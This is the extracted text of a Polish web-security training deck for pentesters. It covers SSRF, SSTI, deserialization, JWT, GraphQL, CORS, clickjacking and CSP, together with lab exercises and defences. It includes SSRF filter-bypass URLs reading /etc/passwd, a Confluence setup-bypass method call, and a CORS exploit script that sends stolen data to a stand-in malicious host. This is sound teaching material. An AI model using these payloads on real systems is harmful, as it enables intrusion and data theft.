Zaawansowane bezpieczeństwo aplikacji webowych

Kamil Jarosiński

pentester i trener w Securitum: web, iot, cloud, mobile

prelegent MSHP i Cyberstarter

autor Wprowadzenie do bezpieczeństwa IT tom 2

Wszystkie pokazane przykłady służą wyłącznie celom edukacyjnym :-)

To szkolenie stanowi rozwinięcie "podstawowego" szkolenia z bezpieczeństwa aplikacji WWW, opisując bardziej zaawansowane techniki wykorzystywane w czasie audytów

Notatki ze szkolenia można znaleźć pod adresem

https://notepad.lab-08.securitum.net/

Kwestie organizacyjne

Agenda

Agenda

Agenda

Agenda

Ale na początek - konfiguracja środowiska

Burp to aplikacja typu proxy, przechwytująca ruch HTTP pomiędzy komputerem a aplikacją webową

Stanowi branżowy standard, w testowaniu bezpieczeństwa aplikacji webowych i REST API

Domyślnie Burp nasłuchuje na porcie 8080

Po włączeniu proxy, należy skonfigurować przeglądarkę

Przydatne funkcjonalności & wtyczki Burpa

Czym są testy penetracyjne?

Test penetracyjny to sposób weryfikacji bezpieczeństwa systemu (w tym przypadku: aplikacji webowej) mający symulować realne działania napastników.

Testy penetracyjne:

• Wskazują wektory ataku,
• Wskazują podatności,
• Pomagają oszacować ryzyko ataku,
• Pomagają oszacować koszty związane z wdrożeniem mechanizmów ochronnych.

Typy pentestów:

Blackbox

Graybox

Whitebox

Etapy pentestów

• Wstępne rozpoznanie (rekonesans)
• Mapowanie aplikacji
• Atak
• Raport
• Opcjonalnie: retest

Jakie błędy?

Przykładowe błędy można zobaczyć w naszym opublikowanym raporcie z testów bezpieczeństwa

Tematykę związaną z szacowaniem bezpieczeństwa aplikacji webowych warto rozpocząć od:

• OWASP Top 10
• OWASP ASVS
• Powszechnie wykorzystywany kalkulator ryzyka błędów - CVSS

Chciał(a)bym poszerzyć wiedzę w ofensywnym bezpieczeństwie aplikacji webowych

•  Nasze książki: "Bezpieczeństwo aplikacji webowych" i "Wstęp do bezpieczeństwa IT" ;-)
  https://sklep.securitum.pl/ksiazka-bezpieczenstwo-aplikacji-webowych

•  Akademia PortSwiggera: https://portswigger.net/web-security

•  Platformy do nauki, i CTF:
  HackTheBox | PentesterLab | Vulnhub

Rekonesans pasywny - przypomnienie

Przed rozpoczęciem wykonywania aktywnych czynności, warto przeprowadzić rekonesans pasywny.

Jest on również często przydatny w omijaniu systemów WAF.

Zgodnie z założeniami, informacje pozyskiwane są bez wchodzenia w interakcję z atakowanym serwisem.

Odnośniki

• https://www.shodan.io/
• WHOIS Full Text
• https://securitytrails.com
• https://crt.sh/
• Google Hacking Database
• URLscan.io
• https://phonebook.cz

Odnośniki

• SecurityTrails -> analiza DNS
• URL,adresy e-mail
• https://www.robtex.com/

Rekonesans aktywny

Co uruchomione jest na hoście poza samą aplikacją webową?

Czy na serwerze nie pozostały zostawione inne, np. domyślne pliki?

Stan bezpieczeństwa popularnych komponentów aplikacji webowych

Interesujące błędy ostatnich lat & warmup

Włącz sobie tryb admina

Confluence login bypass

CVE-2023-22515

CVE-2023-22515

Aplikacja podczas pierwszego uruchomienia pozwala na utworzenie konta superadmina, i wprowadzenie innych zmian

Tldr

Po zakończeniu procesu konfiguracji, endpointy /setup/* pozwalające na konfigurację Confluence, zostają zablokowane

Tldr

Parametry przekazane do Confluence:

/sekurak.action?jeden.dwa=wtf

Są zinterpretowane jako:

getJeden().setDwa()="wtf"

Tldr

Aby ustawić tryb setup, należy wywołać metodę:

getBootstrapStatusProvider().getApplicationConfig().
setSetupComplete(false);

https://confluence.lab-08.securitum.net

Joomla

Wyciek danych logowania do bazy danych

Wersja Joomla?

Recon

Dostęp do MySQL Joomla

Co z kontem systemadmin? Kradzież danych użytkownika poprzez modyfikację kodu źródłowego

Najgłośniejszy błąd od czasów Eternalblue

Rozgrzewka - powtórka z Burpa

1. Użyj rozszeżenia log4shell-everywhere

https://log4j.lab-08.securitum.net

SSRF - Server-Side Request Forgery

Z podatnością Server-Side Request Forgery mamy styczność, gdy aplikacja pozwala nam na podanie adresu URL do pobrania jakiegoś zasobu z sieci.

Typowy przykład to pobranie obrazka z zewnętrznego źródła.

Wówczas możemy spróbować wykorzystać ten fakt do pobrania danych z sieci lokalnej, w której działa aplikacja. Np.

• http://127.0.0.1:8983/
• http://192.168.10.10/changeDns?dns=8.8.8.8

Aplikacje często próbują się bronić przed atakiem, stosując kilka typowych filtrów. Np. wykrywają czy nazwa hosta w adresie URL to 127.0.0.1.

Jednakże wszystkie poniższe adresy też wskazują na 127.0.0.1!

• http://127.1/
• http://0x7f.0.0.1
• http://localhost.me
• http://2130706433
• http://0177.0.1

Kolejna przydatna sztuczka: jeśli aplikacja pozwala na wpisanie własnego adresu URL, spróbujmy użyć protokołu file:///.

file:///etc/passwd daje nam path traversal!

Jeśli aplikacja oczekuje pliku obrazka, może sprawdzać, czy adres URL kończy się na ".jpg".

Wówczas możemy nadużyć znaków # oraz ? w adresie URL, by dostać się do plików o innych rozszerzeniach.

• http://192.168.10.5/config.xml?.jpg
• file:///etc/passwd#.jpg

Ćwiczenie ;-)

https://ships.lab-08.securitum.net

1. Znajdź w aplikacji podatny parametr 

SSRF tips&trickz

Aby ułatwić sobie wyszukiwanie błędów typu SSRF, można zaimportować do Burpa dodatkową wtyczkę -

Collaborator Everywhere

Bardziej zaawansowane przykłady wykorzystania błędu

Błąd SSRF można bardzo często łączyć z innymi, w tzw. kill-chain

Takie zachowanie, pozwala na zwiększenie poziomu ryzyka błędu, np. z "LOW" do "CRITICAL" ;-)

Przykład 1. Open redirect + SSRF

Błąd Open Redirect pozwala na przekierowanie użytkownika odwiedzającego stronę A, do strony B

Przykład 1. Open redirect + SSRF

W połączeniu z błędem SSRF, może jednak stanowić ciekawą i praktyczną kombinację 

Przykład 2. SSRF + Shellshock

SSRF samo w sobie nie pozwala na RCE

Natomiast, znajdując inną podatność w lokalnej sieci lub na lokalnym hoście, czasami możliwe jest wykonanie kodu na (często innym, lokalnym) serwerze

Metody obrony

Propozycje do obrony przed SSRF:

• Zadbać o to, by nie mieć innych podatności pozwalających wykonać atak SSRF (np. XXE).
• Jeśli tego typu funkcjonalność jest pożądana, należy weryfikować protokół, z którego pobierane są pliki (jedyne dopuszczalne: http i https).

Metody obrony

• Najlepiej wykonywać takie zapytania przez serwer proxy umieszczony poza infrastrukturą aplikacji.
• Można również zablokować na firewallu sieciowym możliwość generowania pakietów wychodzących do hostów, do których nie powinna być wykonywana komunikacja.

SSTI - Server Side Template Injection

Aplikacje internetowe często wykorzystują systemy szablonów, takie jak Twig i FreeMarker, do osadzania dynamicznej zawartości na stronach internetowych (i np. treściach wiadomości - email)

$output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) );

Błąd Server-Side Template Injection (SSTI) występuje, gdy aplikacja niewłaściwie obsługuje dynamiczne szablony serwerowe, umożliwiając na wstrzyknięcie komendy silnika template, która zostanie wykonana na serwerze

$output = $twig->render("Dear " . $_GET['name']);

Przykład podatnego kodu:

http://sekurak.pl/?name=${3*7}

Podstawowe sprawdzenie, czy wprowadzone dane trafiają do silnika Twig (PHP)

Mamy tu do czynienia zasadniczo z wykonaniem kodu po stronie serwera w piaskownicy.

W zależności od użytego silnika szablonów może być możliwe opuszczenie piaskownicy i wykonanie dowolnego kodu.

Biblioteki template korzystają z różnej składni / języka szablonowania

W perspektywie blackbox (gdy nie wiemy jaki/ czy działa serwer template), konieczne jest podjęcie kilku czynności

Sprawdzenie silnika template, polega na wykorzystaniu różnych payloadów specyficznych dla danego interpretera

Sprawdzenie silnika template, polega na wykorzystaniu różnych payloadów specyficznych dla danego interpretera

https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html#identification-by-payloads

Sprawdźmy zachowanie dla silnika...

https://ssti.lab-08.securitum.net/​

ĆWICZENIE

1. Otwórz aplikację https://ssti.lab-08.securitum.net/​

https://ssti.lab-08.securitum.net/​

Niektóre silniki template wykorzystują tzw. "sandbox", do wyizolowania środowiska template, od środowiska języka programistycznego

Przykładowe silniki z sandboxem:

Jinja2 (Python)

Twig (PHP)

Freemarker (Java)

Aby "wyskoczyć" z sandboxu konieczny jest "powrót" do pełnego środowiska danego języka;

Aby to zrobić, należy wykorzystać obiekty, które pochodzą ze środowiska innego niż piaskownica, ale są dostępne z poziomu piaskownicy.

Przykład dla Jinja2

Exploitacja polega na sprawdzeniu jakie klasy silników template są możliwe do wykonania (lub wykorzystaniu gotowych wordlist ;-) )

Przykład dokumentacji - Freemarker (Java)

ĆWICZENIE

1. Sprawdź, funkcjonalność wyszukiwania statków jest podatna na SSTI

https://ships.lab-08.securitum.net

ĆWICZENIE

1. Znajdź SSTI, zidentyfikuj silnik, i wykonaj RCE :-)

https://ssti.lab-08.securitum.net

Atak może zostać zautomatyzowany - tplmap

https://github.com/epinna/tplmap

Zabezpieczenie przed SSTI

1. Nie pozwalaj użytkownikowi modyfikować template...

ale jeśli tego nie da się uniknąć, to:

(Nie)bezpieczna (de)serializacja

Co to jest serializacja?

Problem pojawia się wtedy, gdy użytkownik może kontrolować dane które zostaną zdeserializowane. 

Potencjalnie umożliwia to atakującemu manipulowanie serializowanymi obiektami w celu przekazania szkodliwych danych do kodu aplikacji.

Możliwe jest nawet zastąpienie serializowanego obiektu obiektem zupełnie innej klasy.

Przykład 1 - deserializacja w PHP - podmiana jego zawartości

Przykład 2 - wpływanie na funkcjonalności aplikacji

Wstrzykiwanie dowolnego obiektu

Wstrzykiwanie dowolnego obiektu

Przykład 2 - Prawdziwy przykład błędu, łączącego problem zdradzenia klucza szyfrującego ciasteczko i niebezpiecznej deserializacji

Krok 1. Domyślna instalacja biblioteki web2py, zawiera stronę z przykładami

Krok 2. Ciasteczko sesyjne budowane jest z użyciem biblioteki do serializacji Pickle

Krok 3. Sprawdźmy, jak budowane jest ciasteczko, i stwórzmy swoje - specjalne ;-)

Ćwiczenie

1. Zaloguj się via ssh (macos/ Linux - w terminalu), Windows - putty, do adresu lab-08.securitum.net

login: lab

hasło: w notatce

jeżeli nie możesz (brak putty) - daj proszę znać!

Ćwiczenie

4. Skompiluj payload, generując ciasteczko

python2.7 mojakopia.py

Gadgety ;-)

Czy macie pomysł, co to jest "gadget" w świecie pentestów web?

(podpowiedź: podobny mechanizm był wykorzystywany już podczas exploitacji SSTI)

W skrócie:

Mamy możliwość odwołania się do "łańcucha klas" we frameworku aplikacji, w celu wywołania "złośliwej" klasy

Przykład 555 - Ysoserial

https://github.com/frohoff/ysoserial/tree/master

Deserializacja Java również może zostać ułatwiona z użyciem wtyczki do Burpa

"Java Deserialization Scanner"

Przykład 3 - Gadgety PHP - PHPGGC

Jak zabezpieczyć się przed tym atakiem?

1. Oddawanie użytkownikowi kontroli nad danymi, które są następnie deserializowane, nie powinno mieć miejsca, ze względu na mnogość exploitów i zagrożeń

Uwierzytelnienie i autoryzacja

Czym się różni uwierzytelnienie (ang. authentication) od autoryzacji (ang. authorization)?

Klasyczne pytanie - przypominajka ;-)

Uwierzytelnienie - potwierdzenie swojej tożsamości

Autoryzacja - nadanie użytkownikowi dostępu do danego zasobu

Typowe błędy w uwierzytelnieniu

Generowanie zbyt słabych ciasteczek sesyjnych

Np.

Set-Cookie: PHPSESSID=auekvo38sf293223

Set-Cookie: PHPSESSID=auekvo38sf293224

Set-Cookie: PHPSESSID=auekvo38sf293225

Siłę ciastek sesyjnych możemy sprawdzić modułem Sequencer w Burpie.

Błędy typu session fixation

Przykładowo:

Możliwość ustawienia własnego identyfikatora sesyjnego

Brak regeneracji identyfikatora sesyjnego po wylogowaniu i ponownym zalogowaniu

Koszmar każdego audytu LAN, czyli pozostawianie domyślnych użytkowników o słabych hasłach ;-)

Np. test/test, admin/admin, admin/Test1234 itp.

Brak ochrony przed brute-force

Np. możliwość zgadywania hasła dla danego użytkownika nieskończoną liczbę razy (Burp Intruder)

Możliwość logowania się równolegle na dowolną liczbę sesji i brak możliwości weryfikacji kiedy i z jakich adresów IP następowały wcześniejsze logowania na konto użytkownika.

Typowe błędy w mechanizmie autoryzacji

Najczęściej spotykany przykład: na stronie sklepu internetowego pobieramy fakturę do swojego zakupu. Zostaje ona wygenerowana pod linkiem:

http://example.com/faktura?id=1337

Testy takich mechanizmów sprowadzają się więc do przejrzenia wszystkich zapytań, w których występują dowolne identyfikatory i próby podmiany ich na inne.

Innym częstym problemem autoryzacyjnym jest bezpośredni dostęp do plików, które powinny być schowane za sprawdzeniem autoryzacyjnym.

Np. nie mamy dostępu do
/pobierz-umowe.php?id=1...

Kolejny przykład, to atak słownikowy (lub odgadnięcie) endpointów aplikacji.

Np. widać, że aplikacja łączy się z endpointem:

/get-user?id=44

Zgadujemy więc, że istnieje endpoint:

/delete-user?id=44

Ćwiczenie 1 - rozgrzewka

http://ships.lab-08.securitum.net

1. Odczytaj dane statków innych użytkowników

Aby zabezpieczyć się przed problemami autoryzacyjnymi, należy pamiętać o kilku podstawowych kwestiach:

Czy użytkownik jest zalogowany ;-)?

Czy użytkownik jest na odpowiednim poziomie uprawnień?

Czy użytkownik jest uprawniony do używania danej funkcjonalności?

Powrót do mechanizmów uwierzytelnienia:

Tokeny JWT

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzAxODkxODAxNjcyLCJhZ2VudCI6Ik1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwLjE1OyBydjoxMjAuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xMjAuMCIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzAxODkxODAyfQ.BNzs4_X2X4UmFjkPImzAGSQj4WMD5daXCfl0afeU_bU

Trzy sekcje oddzielone kropkami:

Sekcja 1. informacja o wykorzystanym algorytmie do podpisania danych

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzAxODkxODAxNjcyLCJhZ2VudCI6Ik1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwLjE1OyBydjoxMjAuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xMjAuMCIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzAxODkxODAyfQ.BNzs4_X2X4UmFjkPImzAGSQj4WMD5daXCfl0afeU_bU

Trzy sekcje oddzielone kropkami:

Sekcja 2. payload (dane o użytkowniku i jego uprawnieniach)

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzAxODkxODAxNjcyLCJhZ2VudCI6Ik1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwLjE1OyBydjoxMjAuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xMjAuMCIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzAxODkxODAyfQ.BNzs4_X2X4UmFjkPImzAGSQj4WMD5daXCfl0afeU_bU

Trzy sekcje oddzielone kropkami:

Sekcja 3. podpis wygenerowany z użyciem algorytmu z sekcji 1

Podpis gwarantuje integralność danych przesyłanych w drugiej sekcji...

Przykład błędu w implementacji

{"typ":"JWT","alg":"HS256"}

Inny problem z JWT -

siła algorytmu służącego do podpisania tokenu

Jeżeli serwer korzysta z HS256, to możliwe może być odzyskanie sekretu - podpisanie dowolnych danych w tokenie :-)

Ćwiczenie 2 

http://jwt.lab-08.securitum.net

Zaloguj się jako użytkownik "admin", nie znając jego hasła

Środek zapobiegawczy 

Należy wyłączyć obsługę algorytmu "none" w bibliotece parsującej JWT, alternatywnie napisać własny kod weryfikujący użyty algorytm

GraphQL - alternatywa dla REST API?

GraphQL to język oraz środowisko wykonawcze stworzone przez Facebook.

Jest to alternatywna technologia do interakcji między klientem a serwerem w aplikacjach webowych, służąca do pobierania oraz manipulacji danymi.

Aby sprawdzić czy aplikacja korzysta z GraphQL, należy sprawdzić czy nie następują odwołania do ścieżki:

• /graphql
• /graphiql
• /graph
• /explorer
• /graphql.php
• /graph

Wymiana danych z bazą następuje poprzez przesłanie do tej ścieżki zapytania POST, zawierającego odpowiednią strukturę danych w body 

{"variables": {"scheme": "http", "path": "/", "port": 80, "host": "aaa.com"},

"query": 
"mutation ImportPaste($host: String!, $port: Int!, $path: String!, $scheme: String!) 
{\n    importPaste(host: $host, port: $port, path: $path, scheme: $scheme) {\n        result\n    }\n}"}

GraphQL akceptuje trzy podstawowe typy operacji:

Query: Operacja służąca do pobierania danych z serwera. Zapytanie to odzwierciedla strukturę danych, jakie klient chce otrzymać.

GraphQL wykorzystuje schemat, który opisuje strukturę danych dostępnych dla klientów oraz ich typy

Schemat ten definiuje jakie pola są dostępne dla zapytań i jakie typy danych te pola zwracają.

Problem 1.

Enumeracja wszystkich metod GraphQL możliwa jest poprzez przesłanie tzw. Introspection Query

https://github.com/dolevf/Black-Hat-GraphQL/blob/master/queries/introspection_query.txt

https://graphql-kit.com/graphql-voyager/

Problem 2.

Nawet jeśli Introspection Query nie zawsze zadziała, to możliwe, że włączone jest tzw. Field Suggestions (podpowiedzi)

zapytanie o niepoprawne query

Problem 3.

Jeżeli znajdziemy możliwość zapętlenia wywołania funkcji (lub wywołania jednej wielokrotnie), to łatwo można zrobić atak DoS

Obiekt "pastes" może odwołać się do "owner", a obiekt "owner" do "pastes" - i tak bez końca...

Problem 4.

GraphQL jest podatne na wszystkie standardowe błędy znane ze świata aplikacji webowych i API

Prosty przykład - przekazanie własnych danych do zmiennej, pozwala na wykonanie sql injection

Ćwiczenie 

https://graphql.lab-08.securitum.net

1. Z użyciem graphQL voyagera, wczytaj Introspection query aby zenumerować query i mutacje

Nagłówki zwiększające bezpieczeństwo przeglądarki

Pytanie kontrolne: Na czym polega

Same Origin Policy (SOP)?

Same Origin Policy (SOP)

Jeden z głównych mechanizmów stanowiących podstawę bezpieczeństwa przeglądarek i użytkownika - rok 1995

Jeżeli jednak z jakiegoś powodu, chcemy pozwolić innej domenie na dostęp do danych naszej aplikacji, można wykorzystać mechanizm Cross-Origin Resource Sharing (CORS)

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://test.com
Access-Control-Allow-Credentials: true
Cache-Control: max-age=300, s-maxage=300, public
Date: Wed, 06 Dec 2023 01:27:55 GMT

Czasami, gdy lista aplikacji którym pozwalamy na komunikację z naszą aplikacją jest długa, można próbować drogi na skróty...

Ponieważ aplikacja odbija wartość domeny w nagłówku Access-Control-Allow-Origin, oznacza to, że każda domena może uzyskać dostęp do podatnej aplikacji.

Jeśli odpowiedź zawiera jakiekolwiek wrażliwe informacje, takie jak klucz API lub token CSRF, można je odzyskać, umieszczając prosty skrypt na swojej stronie internetowej:

var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true); 
req.withCredentials = true; 
req.send(); 

function reqListener() { 
location='//malicious-website.com/log?key='+this.responseText; };

Jak zabezpieczyć aplikację?

1. Pamiętaj o poprawnej walidacji wartości nagłówka Origin

Clickjacking

"Przecież nie klikałem/am tej subskrypcji!"

Clickjacking to atak polegający na wczytaniu w ramce niewidzialnej strony, otwartej na innej

Clickjacking

źródło: https://portswigger.net/web-security/clickjacking

Od strony technicznej, atak ten polega na nakłonieniu ofiary do otwarcia strony (podobnie jak w przypadku CSRF);

Burp Suite posiada moduł pozwalający na testowanie tego błędu

Burp Clickbandit

Jak zabezpieczyć aplikację?

Aby uniemożliwić wczytanie aplikacji w ramce, odpowiedzi HTTP powinny zawierać nagłówek

X-Frame-Options: deny

Przykład

Sekurak.pl nie posiada nagłówka X-Frame-Options:

Securitum.pl korzysta z tego nagłówka:

X-Frame-Options nie jest wspierany przez każdą wersję przeglądarek

na przykład, wsparcia nie ma Safari 12 oraz Chrome 76 

Istnieje inna - dojrzalsza opcja blokowania ataków typu Clickjacking i XSS

polityka Content Security Policy

Content-Security Policy

Content Security Policy (CSP) jest mechanizmem bezpieczeństwa działającym na poziomie przeglądarek, którego celem jest ochrona przed skutkami podatności działających po stronie przeglądarki (np. podatności Cross-Site Scripting).

Ograniczenie to ma zapobiegać atakom XSS, które dołączają do źródeł strony skrypty doczytywane z innych lokalizacji sieciowych.

Istnieje możliwość dokładnego zdefiniowania skąd mogą zostać pobierane poszczególne typy danych. 

Między innymi:

script-src - wskazanie konkretnych URI, z których skrypty mogą zostać pobrane.

connect-src - dyrektywa odpowiedzialna za wszelakie połączenia:

• WebSockets
• Metoda open() z XMLHttpRequest (typowy formularz CSRF)
• inne specyficzne mechanizmy

report-uri - adres, na który zostanie przesłany raport informujący o naruszeniu CSP

Raportowanie odbywa się poprzez wysyłanie przez przeglądarkę żądania metodą POST:

Istnieje możliwość poluzowania reguł CSP z użyciem dyrektyw unsafe-inline oraz unsafe-eval, zamiast 'self'.

unsafe-inline zezwala przeglądarce na wykonanie kodu JavaScript, znajdującego się:

• jako fragment strony, pomiędzy znacznikami <script> oraz </script>
• jako kod zdefiniowany w postaci atrybutu znacznika HTML on[event], np. onclick=”jakasfunkcja()”.

Istnieje możliwość poluzowania reguł CSP z użyciem dyrektyw unsafe-inline oraz unsafe-eval, zamiast 'self'.

Istnieją proste narzędzia pozwalające na weryfikację bezpieczeństwa polityki CSP

https://csp-evaluator.withgoogle.com/

https://report-uri.com/home/generate

Czasami, gdy polityka CSP jest nieszczelna, to możliwe jest wykonanie XSS ;-)

Przykład z audytu aplikacji mailowej Protonmail

1. Nieszczelna polityka CSP, pozwala na wczytanie JavaScript zapisanego lokalnie w elmencie "blob"

2. Udało mi się znaleźć możliwość wstrzyknięcia kodu JS, poprzez dodanie do załącznika w mailu payloadu XSS udającego obrazek

3. Gdy użytkownik otwiera załącznik, jest on wczytywany jako element blob - wraz z kodem JavaScript 

Strict-Transport Security

...Czyli dlaczego nie mogę otworzyć mojej aplikacji z użyciem http://?

Jeżeli bank.pl zwraca nagłówek STS, to przez czas określony w nim, przeglądarka będzie łączyła się wyłącznie z użyciem https

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Content-Encoding: gzip
Content-Length: 3166
Content-Type: text/html; charset=UTF-8
Date: Thu, 27 Jun 2013 17:19:07 GMT
Strict-Transport-Security: max-age=2592000; includeSubDomains
X-Content-Type-Options: nosniff
x-frame-options: Deny

W tej konfiguracji, pierwsze zapytanie do aplikacji nie jest szyfrowane...

Jak to rozwiązać?